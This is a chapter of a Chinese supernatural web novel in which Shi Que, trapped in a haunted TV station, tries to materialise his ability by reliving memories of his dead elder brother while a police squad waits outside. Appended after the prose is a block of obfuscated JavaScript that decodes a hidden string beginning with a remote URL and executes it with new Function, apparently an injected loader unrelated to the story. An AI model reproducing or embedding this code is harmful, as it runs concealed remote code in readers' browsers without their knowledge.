而此时,正在里面的时雀他们根本不知道将分化能力具象化成实体是一件非常困难的事儿。
蔡琢作为特案组的成员,基本知识理论还是琢磨的很扎实的。由于特案组曾经也出现过可以修炼也能觉醒分化能力的天才警员,因此蔡琢对分化者的事情也有一定的了解,但并不是十分精通。但从那个紧急联系人的口吻来看,仿佛很信任时雀,觉得他能成功。
时雀看向蔡琢,“所以具象化出来的实体到底是什么?又是用什么具象化出来的呢?”
蔡琢茫然的摇头,“这个我不知道,但是我知道并不是每个分化者都能将自己的能力具象化出实体,也有的分化者终其一生都办不到。”
“而且每个分化者,在每个分化等级能够开启具象化的机会只有一次。如果你这次失败了,就只能反复练习,等到你分化能力进阶的时候才能二次尝试。”
“那我要怎么开启具象化呢?”
“我听特案组的老警察说过,具象化出来的物品,是你灵魂深处最难以割舍的存在,也是寄存着你最想要的东西。”
“那不就和怪谈形成的过程类似吗?怪谈是人死后执念附着,这个具象化出来的实体其实也是人的执念,不过产生执念的人是活人。”
“对对对,是这个意思。”蔡琢一个劲儿的点头。
时雀大概明白了具象化实体的概念,但如何操作,他还是一脸懵逼。可时间已经不容许他再有任何犹豫了。
抬起头,楼上传来的动静已经很小,想必15阶梯上的战斗即将告一段落。届时,不管是司雾战胜那个怪物,还是那个怪物从司雾的手里逃脱,接下来,他们都会成为胜利者的猎物。
时雀并不想死,他还有许多要做的事情没有做。
闭上眼,时雀谨慎的做出尝试。
寻找灵魂深处最难以割舍的物品。时雀想,那一定是在回忆中找吧!
他突然有些庆幸,因为他强悍的记忆力,导致他所有的过往,都在脑内一丝不差的存储起来。
但是时雀没有着急立刻去回忆,而是先仔仔细细的问了问自己,“时雀,你想要什么。”
那一瞬间,脑内许多画面入流水般倒放,时间洪流瞬间淹没了他。眼前的危机,晦暗不明的未来,一路坎坷的过去,所有的一切都渐渐淡化,只剩下最后匆匆告别的画面中,离开了已经六年的时隼的脸。
是啊!对于父母,时雀其实并没有很多很多的留念。
他出生是个意外,母亲为了工作并不想留下他,但是医生不建议流产,最终母亲还是决定生下他。
因此,即便在时雀出生后,母亲依然把大部分时间都留给工作。
时雀很理解她的选择,也非常支持。
她是个没有太多安全感的女人,刚刚有起色的事业和一个需要照顾的小孩比起来,她更希望能够拥有金钱。毕竟钱,才是全家人赖以生存的可靠来源。所以时雀从未有过任何怨言,甚至对于时雀来说,能够出生来到这个世界上,已经是母亲给予他最深沉的爱与恩惠。
至于父亲,这个高大沉默的男人也从未对他说过一句重话,但也因为常年在工地打工,感情生疏也很少抱他。
可即便如此,时雀的人生中,却从来不缺少爱。
他有时隼。虽然只比自己大十岁,但时隼从时雀婴儿期开始,就很努力的照顾着他。
时雀学会的第一个词语,是哥哥。
玩的第一个玩具,是时隼翻遍了家里的箱子,贡献了自己小时候洗澡时最喜欢的鸭鸭。
第一次走出家门,看外面的世界。是被时隼捆在后背背着,跟着他去找楼下其他朋友玩骑马打仗的游戏。因为时隼背着他,就只能扮成队伍里的后勤。时隼嘴上不反驳,但在最后大决战的时候,却挥舞着抹布带头冲锋,糊了对面“将军”一脸。
最后时隼当了皇帝,他是名副其实的太子。
从出生到三岁,时雀的记忆里没有太多关于父母的痕迹。而时雀也并不难过。一个是因为,时雀清楚的明白父母的选择很正确,他才是那个突如其来的意外。更重要的是,来自亲人的欢笑和保护,时隼都给了他。别的小孩有的,时隼也努力找给他。
至于三岁后,父母去世,时隼在葬礼上哭得快要背过气去。可在葬礼过后,时隼却依然固执的抱着他,对他说,“雀雀别怕,以后哥哥养你。”
时雀很想对那时候的时隼说,“你别哭,我不怕。”,但时隼没有给他说出来的机会。
再然后,是他和时隼相依为命的十五年。
这十五年,在外人看来,他们过得很艰苦。但是对时雀来说,其实并没有。
吃什么,睡在哪里,时雀从来不在意。他在意的,不过是那个努力为他挡风遮雨的身影罢了。
是那个不管过的多难过崩溃,都会笑着对他说,“雀雀别怕,一切刚刚好”的兄长。
最后,是时隼离开的六年。
时雀快速的找到了生存的办法,也挣扎着让自己活下去。律师经常感叹,时雀真的很厉害,好像任何事情发生在他身上,都能被冷静且快速的解决。
但其实,时雀有很多次都感觉自己熬不过去了。
时隼那一年比一年更离谱的遗嘱,对于时雀来说,是一种抚慰。仿佛在和他说,哥哥还没有离开,一切都是刚刚好。
但是这次……时雀清楚的意识到,留下最后一份遗嘱的时隼,是真的走了。
他知道十八岁的时雀还不能承受诀别的痛苦,所以将这份痛苦延后,等生活把时雀打磨得更加坚强,再让时雀来消化这些悲伤。
但即便如此,这些悲伤还是实打实的。每一丝一缕都狠狠地拧在了时雀的心尖上,先是隐隐作痛,再到痛不欲生。
时雀按住胸口,突然觉得喘不过气。
六年前,接到时隼的死讯,时雀没有哭。亲眼看到时隼残缺不全的尸体,时雀没有哭。甚至一直到时隼的葬礼,他都没有哭。
可这一次,时雀的眼圈突然红了。不知道是不是因为对过去所有回忆的审视让他的情绪变得太过高亢,有或者是积压了六年的悲伤来的太过汹涌。
时雀控制不住汹涌而出的泪水,也无法压抑来自灵魂深处的凄凉和绝望。
“怎么回事?”秦珏一直关注着时雀,他不了解什么分化者,也不明觉醒相关的事情,但是他了解时雀。秦珏知道,时雀是个不管什么时候都冷静至极的人。
甚至当初帮他解围,面对七八个人高马大的小混混,时雀都能准确的计算出逃亡的路线。就连方才面对那个怪物,时雀也一样不慌不忙,还能带着他们跑出来。
可这样冷静的时雀,竟然像是孩子一样哭了。
“这个具象化实体到底是什么?”秦珏有些慌了。
蔡琢也吓了一跳,“应该是正常流程?”
“你见过其他人具象化的过程吗?”
“我怎么可能见过?具象化是多么重要的一件事?不是所有的分化者都有二次分化的机会,所以历史民俗研究所那帮研究员都是躲起来具象化的。”
“可他这个状态……不会是傻了吧。”蔡琢也控制不住的跟着担心起来。他看向柏明,“你知不知道些什么……”
柏明没说话,眼神却很慎重。蔡琢的心顿时提到了顶点。
而此时电视台外面,紧急联系人已经抽完了烟,闭眼靠在椅子上,好像是困了。
队长眉宇间满是焦急,“历史民俗研究所已经有一年没有新晋研究员了,您就不怕里面这个出事儿吗?”
紧急联系人换了个姿势,竟然是直接睡着了。
“……民俗研究所的,果然脑子都有些问题。”一个组员看不下去,觉得他有些冷血。晚辈在里面生死不明,作为前辈的怎么能一点都不着急呢?
“你们现在能找到信号联系上电视台里面吗?”队长摆摆手,示意他这个时候就不要内部争斗。
队员摇摇头,“所有的法子都试了,民俗研究所那个app都没有办法,咱们这边的手段肯定是不管用了。”
“话说队长,那个具象化实体为什么会那么困难?”组员方才也听到了他们的对话,觉得十分疑惑。
队长叹了口气道,“因为人的生命很长,许许多多的细节轻而易举就被遗忘了。但很可能,这些被遗忘的,恰恰是你曾经最想要的。分化者之所以能觉醒,都是通过灵气开发了人体深处的潜能。”
“因此,他们在回顾过去的时候,回顾的画面也会更加仔细。就像你面前突然放了一堆五颜六色的糖果,你一下子就看花了眼,又怎么能在第一时间就准确的找到你最想要的那一颗?”
队员顿时明白了,“那如果没找到怎么办?”
“没找到,就只能等下次了。可连自己想要什么都不知道的人,又怎么会有机会进阶呢?”
“E级觉醒是自然地馈赠,提升到D级就要看本身的才干。民俗研究所的许多研究员,终其一生都找不到进入D级的大门。”
“车里那位呢?”
队长语气郑重,“他是S级分化者,整个地球,目前一共只有7位S级。而民俗研究所一共有二位,咱们特案组有一位堪比S级的修炼者,与此同时,民间也有一位S级的分化者。这也是咱们国家在国际上的底气所在了。”
队员不敢置信的转头看向车里的男人,看了半天,也没能从他身上找到世外高人的影子。但即便如此,他还是本能的对男人产生了一种敬畏。
但他很快就生出另外一种恐惧,S级都不能强行进入的领域,形成这个领域的怪谈是有多厉害?他们真的能逃出来吗?
队员抬头看向被迷雾包裹中的电视台大楼,总觉得有阴霾一直笼罩着。
-------------
电视台楼内
随着时雀沉入回忆哭泣,蔡琢他们的情绪也变得越发焦躁。
这是他们陷入怪谈的第二个小时。在这二个小时里,因为怪物的规则限制,他们没有摄入一滴水,更没有任何食物补给。经历了好几次逃亡,不论是体力还是精神都降到了谷底。
而时雀这个主心骨却在这种时候陷入了一个古怪的境地。悲伤是能够传染的,而秦珏是作家。文字工作的神经普遍都很纤细敏感。
很快,秦珏就因为担忧控制不住红了眼。
“别哭!本来就缺水,再哭万一脱水怎么办?”蔡琢嗓音嘶哑,但却不知道该怎么劝说。
柏明拍了拍他的肩膀像是要安慰,但秦珏没有回头,比起自己的绝望和难过,他更担心时雀。时雀已经很久没有反馈了。
但秦珏不懂,时雀并不是没有反馈。只是他感知不到时雀的反馈罢了。
距离电视台一公里的咖啡店,富二代几乎从车里站了起来。
“具象化?这个时候具象化?难道那个023的继承人已经意识到自己的分化能力了?”
“那也没用。”精英男还算冷静,“他没有接受过任何训练,不可能成功的。就算S级的那位鼎力帮助,现在也是远水解不了近渴。”
打开app,召集帖内,勘探也同样察觉到了电视台里磁场的变化,并已经把时雀正在尝试具象化的消息发到了帖子里。大家的看法都和精英男一样,觉得时雀不过是在胡闹罢了。
而此时的时雀,也的确陷入了回忆当中。
他几乎已经忘记了自己最开始的目的。也忘记了他整理记忆的初衷,而是贪婪的看着那些对于他来说格外美好的过去,汲取着其中的温暖。
直到他心里有一个熟悉的声音在询问他,决定好了吗?
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();